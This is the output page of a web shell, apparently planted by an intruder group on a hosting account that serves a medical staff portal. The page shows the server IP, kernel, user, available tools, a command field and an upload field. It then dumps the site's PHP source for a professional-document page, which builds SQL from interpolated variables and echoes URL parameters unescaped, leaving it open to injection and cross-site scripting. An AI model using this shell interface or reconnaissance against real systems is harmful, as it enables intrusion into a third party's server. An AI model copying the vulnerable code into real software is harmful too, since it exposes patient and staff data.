Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.17.76.72
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//ProfessionalProfile.php
<?php
require_once('../LoginManager.php');
require_once('../DBManager.php');
include('menu.php');
include('header.php');
?>
     <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
              <!-- /.card-header -->
  <?php 
  session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
  	$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		$re = mysqli_fetch_array($qsql);
		    
		  if($re['usertype']=='RMO'){            
              
              ?>
              <div class="card-body">
                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
             <th><strong>Toward</strong></th>
          <th><strong>Document</strong></th>
            
          <th><strong>View</strong></th>              
        </tr>
      
                  </thead>
<?php
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
{
		$sql ="SELECT * FROM rmo_document WHERE RMOId='$re[userno]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql)){
		
	
            echo " <tbody>
            <tr>   <td>
            &nbsp;<b>Date Of Issue</b>:-$rs[dateofissue]<br>
            &nbsp;<b>Issue By</b>:-$rs[issueby]
            
            
            </td>
              		<td>&nbsp;<b>Type Document</b>:- $rs[typedocument]<br>
              		<b>Specify</b>:- $rs[Specify]
              		</td>
              		
              							<td><a href='uploads/$rs[fileToUpload]' ><i class='fa fa-eye' aria-hidden='true' style='font-size:20px; color:black;'></i></td>
          </tr>                   
          
          ";
}}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
          
               
             <p align='right'><a  href='Add_ProfessionalProfile.php?userno=<?php echo $_GET['userno']; ?>'>
          <button style='height:40px;width:200px'> Add Document</button><span class='caret'></span></p>
          </a>
          

        
       </td></tr>
      
    <center> <a  href='MedicalCondition_Emp.php?userno=<?php echo $_GET['userno']; ?>' class='btn btn-info' style='width:100%;'>
           Next
          </a></center>
      
      </div>
      <?php }  ?>
      <?php
      if($re['usertype']=='Nurse'){ ?>
      <div class="card-body">
                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
             <th><strong>Toward</strong></th>
          <th><strong>Document</strong></th>
            
          <th><strong>View</strong></th>              
        </tr>
      
                  </thead>
<?php
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
{
		$sql ="SELECT * FROM nurse_doc WHERE NurseId='$re[userno]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql)){
		
	
            echo " <tbody>
            <tr>   <td>
            &nbsp;<b>Date Of Issue</b>:-$rs[dateofissue]<br>
            &nbsp;<b>Issue By</b>:-$rs[issueby]
            
            
            </td>
              		<td>&nbsp;<b>Type Document</b>:- $rs[typedocument]<br>
              		<b>Specify</b>:- $rs[Specify]
              		</td>
              		
              							<td><a href='uploads/$rs[fileToUpload]' ><i class='fa fa-eye' aria-hidden='true' style='font-size:20px; color:black;'></i></td>
          </tr>                   
          
          ";
}}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
          
               
             <p align='right'><a  href='Add_ProfessionalProfile.php?userno=<?php echo $_GET['userno']; ?>'>
          <button style='height:40px;width:200px'> Add Document</button><span class='caret'></span></p>
          </a>
          

        
       </td></tr>
      
    <center> <a  href='MedicalCondition_Emp.php?userno=<?php echo $_GET['userno']; ?>' class='btn btn-info' style='width:100%;'>
           Next
          </a></center>
      
      </div>
      
      <?php } ?>
      
      
       <?php
      if($re['usertype']=='FrontOffice'){ ?>
      <div class="card-body">
                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
             <th><strong>Toward</strong></th>
          <th><strong>Document</strong></th>
            
          <th><strong>View</strong></th>              
        </tr>
      
                  </thead>
<?php
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
{
		$fod ="SELECT * FROM front_office_doc WHERE FrontId='$re[userno]'";
		$qfod = mysqli_query($con,$fod);
		while($rfod = mysqli_fetch_array($qfod)){
		
	
            echo " <tbody>
            <tr>   <td>
            &nbsp;<b>Date Of Issue</b>:-$rfod[dateofissue]<br>
            &nbsp;<b>Issue By</b>:-$rfod[issueby]
            
            
            </td>
              		<td>&nbsp;<b>Type Document</b>:- $rfod[typedocument]<br>
              		<b>Specify</b>:- $rfod[Specify]
              		</td>
              		
              							<td><a href='uploads/$rfod[fileToUpload]' ><i class='fa fa-file-image-o' aria-hidden='true' style='font-size:20px; color:green;'></i></td>
          </tr>                   
          
          ";
}}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
          
               
             <p align='right'><a  href='Add_ProfessionalProfile.php?userno=<?php echo $_GET['userno']; ?>'>
          <button style='height:40px;width:200px'> Add Document</button><span class='caret'></span></p>
          </a>
          

        
       </td></tr>
      
    <center> <a  href='MedicalCondition_Emp.php?userno=<?php echo $_GET['userno']; ?>' class='btn btn-info' style='width:100%;'>
           Next
          </a></center>
      
      </div>
      
      <?php } ?>
      
      
       <?php
      if($re['usertype']=='HR'){ ?>
      <div class="card-body">
                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
             <th><strong>Toward</strong></th>
          <th><strong>Document</strong></th>
            
          <th><strong>View</strong></th>              
        </tr>
      
                  </thead>
<?php
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
{
		$hrd ="SELECT * FROM hr_doc WHERE hrId='$re[userno]'";
		$qhrd = mysqli_query($con,$hrd);
		while($rhrd = mysqli_fetch_array($qhrd)){
		
	
            echo " <tbody>
            <tr>   <td>
            &nbsp;<b>Date Of Issue</b>:-$rhrd[dateofissue]<br>
            &nbsp;<b>Issue By</b>:-$rhrd[issueby]
            
            
            </td>
              		<td>&nbsp;<b>Type Document</b>:- $rhrd[typedocument]<br>
              		<b>Specify</b>:- $rhrd[Specify]
              		</td>
              		
              							<td><a href='uploads/$rhrd[fileToUpload]' ><i class='fa fa-eye' aria-hidden='true' style='font-size:20px; color:black;'></i></td>
          </tr>                   
          
          ";
}}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
          
               
             <p align='right'><a  href='Add_ProfessionalProfile.php?userno=<?php echo $_GET['userno']; ?>'>
          <button style='height:40px;width:200px'> Add Document</button><span class='caret'></span></p>
          </a>
          

        
       </td></tr>
      
    <center> <a  href='MedicalCondition_Emp.php?userno=<?php echo $_GET['userno']; ?>' class='btn btn-info' style='width:100%;'>
           Next
          </a></center>
      
      </div>
      
      <?php } ?>
      
      
      <?php
      if($re['usertype']=='OT'){ ?>
      <div class="card-body">
                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
             <th><strong>Toward</strong></th>
          <th><strong>Document</strong></th>
            
          <th><strong>View</strong></th>              
        </tr>
      
                  </thead>
<?php
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
{
		$otd ="SELECT * FROM ot_doc WHERE otid='$re[userno]'";
		$qotd = mysqli_query($con,$otd);
		while($rotd = mysqli_fetch_array($qotd)){
		
	
            echo " <tbody>
            <tr>   <td>
            &nbsp;<b>Date Of Issue</b>:-$rotd[dateofissue]<br>
            &nbsp;<b>Issue By</b>:-$rotd[issueby]
            
            
            </td>
              		<td>&nbsp;<b>Type Document</b>:- $rotd[typedocument]<br>
              		<b>Specify</b>:- $rotd[Specify]
              		</td>
              		
              							<td><a href='uploads/$rotd[fileToUpload]' ><i class='fa fa-eye' aria-hidden='true' style='font-size:20px; color:black;'></i></td>
          </tr>                   
          
          ";
}}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
          
               
             <p align='right'><a  href='Add_ProfessionalProfile.php?userno=<?php echo $_GET['userno']; ?>'>
          <button style='height:40px;width:200px'> Add Document</button><span class='caret'></span></p>
          </a>
          

        
       </td></tr>
      
    <center> <a  href='MedicalCondition_Emp.php?userno=<?php echo $_GET['userno']; ?>' class='btn btn-info' style='width:100%;'>
           Next
          </a></center>
      
      </div>
      
      <?php } ?> 
      
      
       <?php
      if($re['usertype']=='Lab'){ ?>
      <div class="card-body">
                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
             <th><strong>Toward</strong></th>
          <th><strong>Document</strong></th>
            
          <th><strong>View</strong></th>              
        </tr>
      
                  </thead>
<?php
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
{
		$otd ="SELECT * FROM lab_doc WHERE Labid='$re[userno]'";
		$qotd = mysqli_query($con,$otd);
		while($rotd = mysqli_fetch_array($qotd)){
		
	
            echo " <tbody>
            <tr>   <td>
            &nbsp;<b>Date Of Issue</b>:-$rotd[dateofissue]<br>
            &nbsp;<b>Issue By</b>:-$rotd[issueby]
            
            
            </td>
              		<td>&nbsp;<b>Type Document</b>:- $rotd[typedocument]<br>
              		<b>Specify</b>:- $rotd[Specify]
              		</td>
              		
              							<td><a href='uploads/$rotd[fileToUpload]' ><i class='fa fa-eye' aria-hidden='true' style='font-size:20px; color:black;'></i></td>
          </tr>                   
          
          ";
}}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
          
               
             <p align='right'><a  href='Add_ProfessionalProfile.php?userno=<?php echo $_GET['userno']; ?>'>
          <button style='height:40px;width:200px'> Add Document</button><span class='caret'></span></p>
          </a>
          

        
       </td></tr>
      
    <center> <a  href='MedicalCondition_Emp.php?userno=<?php echo $_GET['userno']; ?>' class='btn btn-info' style='width:100%;'>
           Next
          </a></center>
      
      </div>
      
      <?php } ?> 
      
      
      
       <?php
      if($re['usertype']=='Diagnostic'){ ?>
      <div class="card-body">
                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
             <th><strong>Toward</strong></th>
          <th><strong>Document</strong></th>
            
          <th><strong>View</strong></th>              
        </tr>
      
                  </thead>
<?php
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
{
		$dignod ="SELECT * FROM diagnostic_doc WHERE Diagnosticid='$re[userno]'";
		$qdignod = mysqli_query($con,$dignod);
		while($rdignod = mysqli_fetch_array($qdignod)){
		
	
            echo " <tbody>
            <tr>   <td>
            &nbsp;<b>Date Of Issue</b>:-$rdignod[dateofissue]<br>
            &nbsp;<b>Issue By</b>:-$rdignod[issueby]
            
            
            </td>
              		<td>&nbsp;<b>Type Document</b>:- $rdignod[typedocument]<br>
              		<b>Specify</b>:- $rdignod[Specify]
              		</td>
              		
              							<td><a href='uploads/$rdignod[fileToUpload]' ><i class='fa fa-eye' aria-hidden='true' style='font-size:20px; color:black;'></i></td>
          </tr>                   
          
          ";
}}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
          
               
             <p align='right'><a  href='Add_ProfessionalProfile.php?userno=<?php echo $_GET['userno']; ?>'>
          <button style='height:40px;width:200px'> Add Document</button><span class='caret'></span></p>
          </a>
          

        
       </td></tr>
      
    <center> <a  href='MedicalCondition_Emp.php?userno=<?php echo $_GET['userno']; ?>' class='btn btn-info' style='width:100%;'>
           Next
          </a></center>
      
      </div>
      
      <?php } ?> 
      
      
      
    <?php
      if($re['usertype']=='Optometrist'){ ?>
      <div class="card-body">
                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
             <th><strong>Toward</strong></th>
          <th><strong>Document</strong></th>
            
          <th><strong>View</strong></th>              
        </tr>
      
                  </thead>
<?php
$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
{
		$Optometrist ="SELECT * FROM Optometrist_doc WHERE Optometristid='$re[userno]'";
		$qOptometrist = mysqli_query($con,$Optometrist);
		while($rOptometrist = mysqli_fetch_array($qOptometrist)){
		
	
            echo " <tbody>
            <tr>   <td>
            &nbsp;<b>Date Of Issue</b>:-$rOptometrist[dateofissue]<br>
            &nbsp;<b>Issue By</b>:-$rOptometrist[issueby]
            
            
            </td>
              		<td>&nbsp;<b>Type Document</b>:- $rOptometrist[typedocument]<br>
              		<b>Specify</b>:- $rOptometrist[Specify]
              		</td>
              		
              							<td><a href='uploads/$rOptometrist[fileToUpload]' ><i class='fa fa-eye' aria-hidden='true' style='font-size:20px; color:black;'></i></td>
          </tr>                   
          
          ";
}}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
          
               
             <p align='right'><a  href='Add_ProfessionalProfile.php?userno=<?php echo $_GET['userno']; ?>'>
          <button style='height:40px;width:200px'> Add Document</button><span class='caret'></span></p>
          </a>
          

        
       </td></tr>
      
    <center> <a  href='MedicalCondition_Emp.php?userno=<?php echo $_GET['userno']; ?>' class='btn btn-info' style='width:100%;'>
           Next
          </a></center>
      
      </div>
      
      <?php } ?>   
      
      <?php
if(isset($_SESSION[doctorid]))
{
?>  

         
<hr>
	<table>
		<tr>
			<td>
			<div align="center"><strong><a href="prescription.php?patientid=<?php echo $_GET[patientid]; ?>&appid=<?php echo $rsappointment[appointmentid]; ?>">Add Prescription records</a></strong></div>
			</td>
		</tr>
	</table>
	<script>
  $(function () {
    $("#example1").DataTable({
      "responsive": true,
      "autoWidth": false,
    });
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
</script>

<?php
}
?>

Anon7 - 2022
AnonSec Team